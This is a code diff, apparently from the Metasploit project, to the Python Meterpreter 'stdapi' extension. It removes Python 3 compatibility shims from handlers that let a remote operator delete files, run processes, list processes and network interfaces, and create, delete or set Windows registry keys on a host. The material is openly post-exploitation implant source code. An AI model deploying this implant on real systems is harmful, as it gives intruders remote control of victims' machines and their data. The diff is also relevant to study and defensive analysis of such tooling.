48
48
except ImportError :
49
49
has_winreg = False
50
50
51
- try :
52
- import winreg
53
- has_winreg = True
54
- except ImportError :
55
- has_winreg = (has_winreg or False )
56
-
57
- if sys .version_info [0 ] < 3 :
58
- is_str = lambda obj : issubclass (obj .__class__ , str )
59
- is_bytes = lambda obj : issubclass (obj .__class__ , str )
60
- bytes = lambda * args : str (* args [:1 ])
61
- NULL_BYTE = '\x00 '
62
- else :
63
- is_str = lambda obj : issubclass (obj .__class__ , __builtins__ ['str' ])
64
- is_bytes = lambda obj : issubclass (obj .__class__ , bytes )
65
- str = lambda x : __builtins__ ['str' ](x , 'UTF-8' )
66
- NULL_BYTE = bytes ('\x00 ' , 'UTF-8' )
67
- long = int
68
-
69
51
if has_ctypes :
70
52
#
71
53
# Windows Structures
@@ -516,12 +498,11 @@ def get_stat_buffer(path):
516
498
blocks = si .st_blocks
517
499
st_buf = struct .pack ('<IHHH' , si .st_dev , min (0xffff , si .st_ino ), si .st_mode , si .st_nlink )
518
500
st_buf += struct .pack ('<HHHI' , si .st_uid , si .st_gid , 0 , rdev )
519
- st_buf += struct .pack ('<IIII' , si .st_size , long ( si .st_atime ), long ( si .st_mtime ), long ( si .st_ctime ) )
501
+ st_buf += struct .pack ('<IIII' , si .st_size , si .st_atime , si .st_mtime , si .st_ctime )
520
502
st_buf += struct .pack ('<II' , blksize , blocks )
521
503
return st_buf
522
504
523
505
def netlink_request (req_type ):
524
- import select
525
506
# See RFC 3549
526
507
NLM_F_REQUEST = 0x0001
527
508
NLM_F_ROOT = 0x0100
@@ -532,25 +513,17 @@ def netlink_request(req_type):
532
513
sock .bind ((os .getpid (), 0 ))
533
514
seq = int (time .time ())
534
515
nlmsg = struct .pack ('IHHIIB15x' , 32 , req_type , (NLM_F_REQUEST | NLM_F_ROOT ), seq , 0 , socket .AF_UNSPEC )
535
- sock .send (nlmsg )
516
+ sfd = os .fdopen (sock .fileno (), 'w+b' )
517
+ sfd .write (nlmsg )
536
518
responses = []
537
- if not len (select .select ([sock .fileno ()], [], [], 0.5 )[0 ]):
538
- return responses
539
- raw_response_data = sock .recv (0xfffff )
540
- response = cstruct_unpack (NLMSGHDR , raw_response_data [:ctypes .sizeof (NLMSGHDR )])
541
- raw_response_data = raw_response_data [ctypes .sizeof (NLMSGHDR ):]
519
+ response = cstruct_unpack (NLMSGHDR , sfd .read (ctypes .sizeof (NLMSGHDR )))
542
520
while response .type != NLMSG_DONE :
543
521
if response .type == NLMSG_ERROR :
544
522
break
545
- response_data = raw_response_data [: (response .len - 16 )]
523
+ response_data = sfd . read (response .len - 16 )
546
524
responses .append (response_data )
547
- raw_response_data = raw_response_data [len (response_data ):]
548
- if not len (raw_response_data ):
549
- if not len (select .select ([sock .fileno ()], [], [], 0.5 )[0 ]):
550
- break
551
- raw_response_data = sock .recv (0xfffff )
552
- response = cstruct_unpack (NLMSGHDR , raw_response_data [:ctypes .sizeof (NLMSGHDR )])
553
- raw_response_data = raw_response_data [ctypes .sizeof (NLMSGHDR ):]
525
+ response = cstruct_unpack (NLMSGHDR , sfd .read (ctypes .sizeof (NLMSGHDR )))
526
+ sfd .close ()
554
527
sock .close ()
555
528
return responses
556
529
@@ -586,7 +559,7 @@ def channel_open_stdapi_fs_file(request, response):
586
559
else :
587
560
fmode = 'rb'
588
561
file_h = open (fpath , fmode )
589
- channel_id = meterpreter .add_channel (MeterpreterFile ( file_h ) )
562
+ channel_id = meterpreter .add_channel (file_h )
590
563
response += tlv_pack (TLV_TYPE_CHANNEL_ID , channel_id )
591
564
return ERROR_SUCCESS , response
592
565
@@ -702,7 +675,6 @@ def stdapi_sys_process_execute(request, response):
702
675
proc_h .stderr = open (os .devnull , 'rb' )
703
676
else :
704
677
proc_h = STDProcess (args , stdin = subprocess .PIPE , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
705
- proc_h .echo_protection = True
706
678
proc_h .start ()
707
679
else :
708
680
proc_h = subprocess .Popen (args , stdin = subprocess .PIPE , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
@@ -721,15 +693,15 @@ def stdapi_sys_process_getpid(request, response):
721
693
722
694
def stdapi_sys_process_get_processes_via_proc (request , response ):
723
695
for pid in os .listdir ('/proc' ):
724
- pgroup = bytes ()
696
+ pgroup = ''
725
697
if not os .path .isdir (os .path .join ('/proc' , pid )) or not pid .isdigit ():
726
698
continue
727
- cmdline_file = open (os .path .join ('/proc' , pid , 'cmdline' ), 'rb' )
728
- cmd = str (cmdline_file .read (512 ).replace (NULL_BYTE , bytes (' ' , 'UTF-8' )))
729
- status_data = str (open (os .path .join ('/proc' , pid , 'status' ), 'rb' ).read ())
699
+ cmd = open (os .path .join ('/proc' , pid , 'cmdline' ), 'rb' ).read (512 ).replace ('\x00 ' , ' ' )
700
+ status_data = open (os .path .join ('/proc' , pid , 'status' ), 'rb' ).read ()
730
701
status_data = map (lambda x : x .split ('\t ' ,1 ), status_data .split ('\n ' ))
702
+ status_data = filter (lambda x : len (x ) == 2 , status_data )
731
703
status = {}
732
- for k , v in filter ( lambda x : len ( x ) == 2 , status_data ) :
704
+ for k , v in status_data :
733
705
status [k [:- 1 ]] = v .strip ()
734
706
ppid = status .get ('PPid' )
735
707
uid = status .get ('Uid' ).split ('\t ' , 1 )[0 ]
@@ -753,14 +725,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
753
725
def stdapi_sys_process_get_processes_via_ps (request , response ):
754
726
ps_args = ['ps' , 'ax' , '-w' , '-o' , 'pid,ppid,user,command' ]
755
727
proc_h = subprocess .Popen (ps_args , stdin = subprocess .PIPE , stdout = subprocess .PIPE , stderr = subprocess .PIPE )
756
- ps_output = str ( proc_h .stdout .read () )
728
+ ps_output = proc_h .stdout .read ()
757
729
ps_output = ps_output .split ('\n ' )
758
730
ps_output .pop (0 )
759
731
for process in ps_output :
760
732
process = process .split ()
761
733
if len (process ) < 4 :
762
734
break
763
- pgroup = bytes ()
735
+ pgroup = ''
764
736
pgroup += tlv_pack (TLV_TYPE_PID , int (process [0 ]))
765
737
pgroup += tlv_pack (TLV_TYPE_PARENT_PID , int (process [1 ]))
766
738
pgroup += tlv_pack (TLV_TYPE_USER_NAME , process [2 ])
@@ -821,7 +793,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
821
793
use = ctypes .c_ulong ()
822
794
use .value = 0
823
795
ctypes .windll .advapi32 .LookupAccountSidA (None , user_tkn .Sid , username , ctypes .byref (u_len ), domain , ctypes .byref (d_len ), ctypes .byref (use ))
824
- complete_username = str ( ctypes .string_at (domain )) + '\\ ' + str ( ctypes .string_at (username ) )
796
+ complete_username = ctypes .string_at (domain ) + '\\ ' + ctypes .string_at (username )
825
797
k32 .CloseHandle (tkn_h )
826
798
parch = windll_GetNativeSystemInfo ()
827
799
is_wow64 = ctypes .c_ubyte ()
@@ -830,7 +802,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
830
802
if k32 .IsWow64Process (proc_h , ctypes .byref (is_wow64 )):
831
803
if is_wow64 .value :
832
804
parch = PROCESS_ARCH_X86
833
- pgroup = bytes ()
805
+ pgroup = ''
834
806
pgroup += tlv_pack (TLV_TYPE_PID , pe32 .th32ProcessID )
835
807
pgroup += tlv_pack (TLV_TYPE_PARENT_PID , pe32 .th32ParentProcessID )
836
808
pgroup += tlv_pack (TLV_TYPE_USER_NAME , complete_username )
@@ -878,18 +850,16 @@ def stdapi_fs_delete_dir(request, response):
878
850
@meterpreter .register_function
879
851
def stdapi_fs_delete_file (request , response ):
880
852
file_path = packet_get_tlv (request , TLV_TYPE_FILE_PATH )['value' ]
881
- if os .path .exists (file_path ):
882
- os .unlink (file_path )
853
+ os .unlink (file_path )
883
854
return ERROR_SUCCESS , response
884
855
885
856
@meterpreter .register_function
886
857
def stdapi_fs_file_expand_path (request , response ):
887
858
path_tlv = packet_get_tlv (request , TLV_TYPE_FILE_PATH )['value' ]
888
859
if has_windll :
889
- path_tlv = ctypes .create_string_buffer (bytes (path_tlv , 'UTF-8' ))
890
860
path_out = (ctypes .c_char * 4096 )()
891
- path_out_len = ctypes .windll .kernel32 .ExpandEnvironmentStringsA (ctypes . byref ( path_tlv ) , ctypes .byref (path_out ), ctypes .sizeof (path_out ))
892
- result = str ( ctypes . string_at (path_out ))
861
+ path_out_len = ctypes .windll .kernel32 .ExpandEnvironmentStringsA (path_tlv , ctypes .byref (path_out ), ctypes .sizeof (path_out ))
862
+ result = '' . join (path_out )[: path_out_len ]
893
863
elif path_tlv == '%COMSPEC%' :
894
864
result = '/bin/sh'
895
865
elif path_tlv in ['%TEMP%' , '%TMP%' ]:
@@ -942,8 +912,7 @@ def stdapi_fs_md5(request, response):
942
912
@meterpreter .register_function
943
913
def stdapi_fs_mkdir (request , response ):
944
914
dir_path = packet_get_tlv (request , TLV_TYPE_DIRECTORY_PATH )['value' ]
945
- if not os .path .isdir (dir_path ):
946
- os .mkdir (dir_path )
915
+ os .mkdir (dir_path )
947
916
return ERROR_SUCCESS , response
948
917
949
918
@meterpreter .register_function
@@ -996,7 +965,7 @@ def stdapi_fs_stat(request, response):
996
965
997
966
@meterpreter .register_function
998
967
def stdapi_net_config_get_interfaces (request , response ):
999
- if hasattr (socket , 'AF_NETLINK' ) and hasattr ( socket , 'NETLINK_ROUTE' ) :
968
+ if hasattr (socket , 'AF_NETLINK' ):
1000
969
interfaces = stdapi_net_config_get_interfaces_via_netlink ()
1001
970
elif has_osxsc :
1002
971
interfaces = stdapi_net_config_get_interfaces_via_osxsc ()
@@ -1005,7 +974,7 @@ def stdapi_net_config_get_interfaces(request, response):
1005
974
else :
1006
975
return ERROR_FAILURE , response
1007
976
for iface_info in interfaces :
1008
- iface_tlv = bytes ()
977
+ iface_tlv = ''
1009
978
iface_tlv += tlv_pack (TLV_TYPE_MAC_NAME , iface_info .get ('name' , 'Unknown' ))
1010
979
iface_tlv += tlv_pack (TLV_TYPE_MAC_ADDRESS , iface_info .get ('hw_addr' , '\x00 \x00 \x00 \x00 \x00 \x00 ' ))
1011
980
if 'mtu' in iface_info :
@@ -1033,7 +1002,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
1033
1002
0x0100 : 'PROMISC' ,
1034
1003
0x1000 : 'MULTICAST'
1035
1004
}
1036
- iface_flags_sorted = list ( iface_flags .keys () )
1005
+ iface_flags_sorted = iface_flags .keys ()
1037
1006
# Dictionaries don't maintain order
1038
1007
iface_flags_sorted .sort ()
1039
1008
interfaces = {}
@@ -1137,7 +1106,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
1137
1106
hw_addr = hw_addr .replace (':' , '' )
1138
1107
hw_addr = hw_addr .decode ('hex' )
1139
1108
iface_info ['hw_addr' ] = hw_addr
1140
- ifnames = list ( interfaces .keys () )
1109
+ ifnames = interfaces .keys ()
1141
1110
ifnames .sort ()
1142
1111
for iface_name , iface_info in interfaces .items ():
1143
1112
iface_info ['index' ] = ifnames .index (iface_name )
@@ -1169,10 +1138,7 @@ def stdapi_net_config_get_interfaces_via_windll():
1169
1138
iface_info ['index' ] = AdapterAddresses .u .s .IfIndex
1170
1139
if AdapterAddresses .PhysicalAddressLength :
1171
1140
iface_info ['hw_addr' ] = ctypes .string_at (ctypes .byref (AdapterAddresses .PhysicalAddress ), AdapterAddresses .PhysicalAddressLength )
1172
- iface_desc = ctypes .wstring_at (AdapterAddresses .Description )
1173
- if not is_str (iface_desc ):
1174
- iface_desc = str (iface_desc )
1175
- iface_info ['name' ] = iface_desc
1141
+ iface_info ['name' ] = str (ctypes .wstring_at (AdapterAddresses .Description ))
1176
1142
iface_info ['mtu' ] = AdapterAddresses .Mtu
1177
1143
pUniAddr = AdapterAddresses .FirstUnicastAddress
1178
1144
while pUniAddr :
@@ -1208,7 +1174,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
1208
1174
table_data = ctypes .string_at (table , pdwSize .value )
1209
1175
entries = struct .unpack ('I' , table_data [:4 ])[0 ]
1210
1176
table_data = table_data [4 :]
1211
- for i in range (entries ):
1177
+ for i in xrange (entries ):
1212
1178
addrrow = cstruct_unpack (MIB_IPADDRROW , table_data )
1213
1179
ifrow = MIB_IFROW ()
1214
1180
ifrow .dwIndex = addrrow .dwIndex
@@ -1278,10 +1244,9 @@ def stdapi_registry_close_key(request, response):
1278
1244
def stdapi_registry_create_key (request , response ):
1279
1245
root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
1280
1246
base_key = packet_get_tlv (request , TLV_TYPE_BASE_KEY )['value' ]
1281
- base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
1282
1247
permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
1283
1248
res_key = ctypes .c_void_p ()
1284
- if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , ctypes . byref ( base_key ) , 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) == ERROR_SUCCESS :
1249
+ if ctypes .windll .advapi32 .RegCreateKeyExA (root_key , base_key , 0 , None , 0 , permission , None , ctypes .byref (res_key ), None ) == ERROR_SUCCESS :
1285
1250
response += tlv_pack (TLV_TYPE_HKEY , res_key .value )
1286
1251
return ERROR_SUCCESS , response
1287
1252
return ERROR_FAILURE , response
@@ -1290,20 +1255,18 @@ def stdapi_registry_create_key(request, response):
1290
1255
def stdapi_registry_delete_key (request , response ):
1291
1256
root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
1292
1257
base_key = packet_get_tlv (request , TLV_TYPE_BASE_KEY )['value' ]
1293
- base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
1294
1258
flags = packet_get_tlv (request , TLV_TYPE_FLAGS )['value' ]
1295
1259
if (flags & DELETE_KEY_FLAG_RECURSIVE ):
1296
- result = ctypes .windll .shlwapi .SHDeleteKeyA (root_key , ctypes . byref ( base_key ) )
1260
+ result = ctypes .windll .shlwapi .SHDeleteKeyA (root_key , base_key )
1297
1261
else :
1298
- result = ctypes .windll .advapi32 .RegDeleteKeyA (root_key , ctypes . byref ( base_key ) )
1262
+ result = ctypes .windll .advapi32 .RegDeleteKeyA (root_key , base_key )
1299
1263
return result , response
1300
1264
1301
1265
@meterpreter .register_function_windll
1302
1266
def stdapi_registry_delete_value (request , response ):
1303
1267
root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
1304
1268
value_name = packet_get_tlv (request , TLV_TYPE_VALUE_NAME )['value' ]
1305
- value_name = ctypes .create_string_buffer (bytes (value_name , 'UTF-8' ))
1306
- result = ctypes .windll .advapi32 .RegDeleteValueA (root_key , ctypes .byref (value_name ))
1269
+ result = ctypes .windll .advapi32 .RegDeleteValueA (root_key , value_name )
1307
1270
return result , response
1308
1271
1309
1272
@meterpreter .register_function_windll
@@ -1372,10 +1335,9 @@ def stdapi_registry_load_key(request, response):
1372
1335
def stdapi_registry_open_key (request , response ):
1373
1336
root_key = packet_get_tlv (request , TLV_TYPE_ROOT_KEY )['value' ]
1374
1337
base_key = packet_get_tlv (request , TLV_TYPE_BASE_KEY )['value' ]
1375
- base_key = ctypes .create_string_buffer (bytes (base_key , 'UTF-8' ))
1376
1338
permission = packet_get_tlv (request , TLV_TYPE_PERMISSION ).get ('value' , winreg .KEY_ALL_ACCESS )
1377
1339
handle_id = ctypes .c_void_p ()
1378
- if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , ctypes . byref ( base_key ) , 0 , permission , ctypes .byref (handle_id )) == ERROR_SUCCESS :
1340
+ if ctypes .windll .advapi32 .RegOpenKeyExA (root_key , base_key , 0 , permission , ctypes .byref (handle_id )) == ERROR_SUCCESS :
1379
1341
response += tlv_pack (TLV_TYPE_HKEY , handle_id .value )
1380
1342
return ERROR_SUCCESS , response
1381
1343
return ERROR_FAILURE , response
@@ -1405,26 +1367,24 @@ def stdapi_registry_query_class(request, response):
1405
1367
1406
1368
@meterpreter .register_function_windll
1407
1369
def stdapi_registry_query_value (request , response ):
1370
+ REG_SZ = 1
1371
+ REG_DWORD = 4
1408
1372
hkey = packet_get_tlv (request , TLV_TYPE_HKEY )['value' ]
1409
1373
value_name = packet_get_tlv (request , TLV_TYPE_VALUE_NAME )['value' ]
1410
- value_name = ctypes .create_string_buffer (bytes (value_name , 'UTF-8' ))
1411
1374
value_type = ctypes .c_uint32 ()
1412
1375
value_type .value = 0
1413
1376
value_data = (ctypes .c_ubyte * 4096 )()
1414
1377
value_data_sz = ctypes .c_uint32 ()
1415
1378
value_data_sz .value = ctypes .sizeof (value_data )
1416
- result = ctypes .windll .advapi32 .RegQueryValueExA (hkey , ctypes . byref ( value_name ) , 0 , ctypes .byref (value_type ), value_data , ctypes .byref (value_data_sz ))
1379
+ result = ctypes .windll .advapi32 .RegQueryValueExA (hkey , value_name , 0 , ctypes .byref (value_type ), value_data , ctypes .byref (value_data_sz ))
1417
1380
if result == ERROR_SUCCESS :
1418
1381
response += tlv_pack (TLV_TYPE_VALUE_TYPE , value_type .value )
1419
- if value_type .value == winreg . REG_SZ :
1420
- response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ) + NULL_BYTE )
1421
- elif value_type .value == winreg . REG_DWORD :
1382
+ if value_type .value == REG_SZ :
1383
+ response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data ) + ' \x00 ' )
1384
+ elif value_type .value == REG_DWORD :
1422
1385
value = value_data [:4 ]
1423
1386
value .reverse ()
1424
- if sys .version_info [0 ] < 3 :
1425
- value = '' .join (map (chr , value ))
1426
- else :
1427
- value = bytes (value )
1387
+ value = '' .join (map (chr , value ))
1428
1388
response += tlv_pack (TLV_TYPE_VALUE_DATA , value )
1429
1389
else :
1430
1390
response += tlv_pack (TLV_TYPE_VALUE_DATA , ctypes .string_at (value_data , value_data_sz .value ))
@@ -1435,10 +1395,9 @@ def stdapi_registry_query_value(request, response):
1435
1395
def stdapi_registry_set_value (request , response ):
1436
1396
hkey = packet_get_tlv (request , TLV_TYPE_HKEY )['value' ]
1437
1397
value_name = packet_get_tlv (request , TLV_TYPE_VALUE_NAME )['value' ]
1438
- value_name = ctypes .create_string_buffer (bytes (value_name , 'UTF-8' ))
1439
1398
value_type = packet_get_tlv (request , TLV_TYPE_VALUE_TYPE )['value' ]
1440
1399
value_data = packet_get_tlv (request , TLV_TYPE_VALUE_DATA )['value' ]
1441
- result = ctypes .windll .advapi32 .RegSetValueExA (hkey , ctypes . byref ( value_name ) , 0 , value_type , value_data , len (value_data ))
1400
+ result = ctypes .windll .advapi32 .RegSetValueExA (hkey , value_name , 0 , value_type , value_data , len (value_data ))
1442
1401
return result , response
1443
1402
1444
1403
@meterpreter .register_function_windll
0 commit comments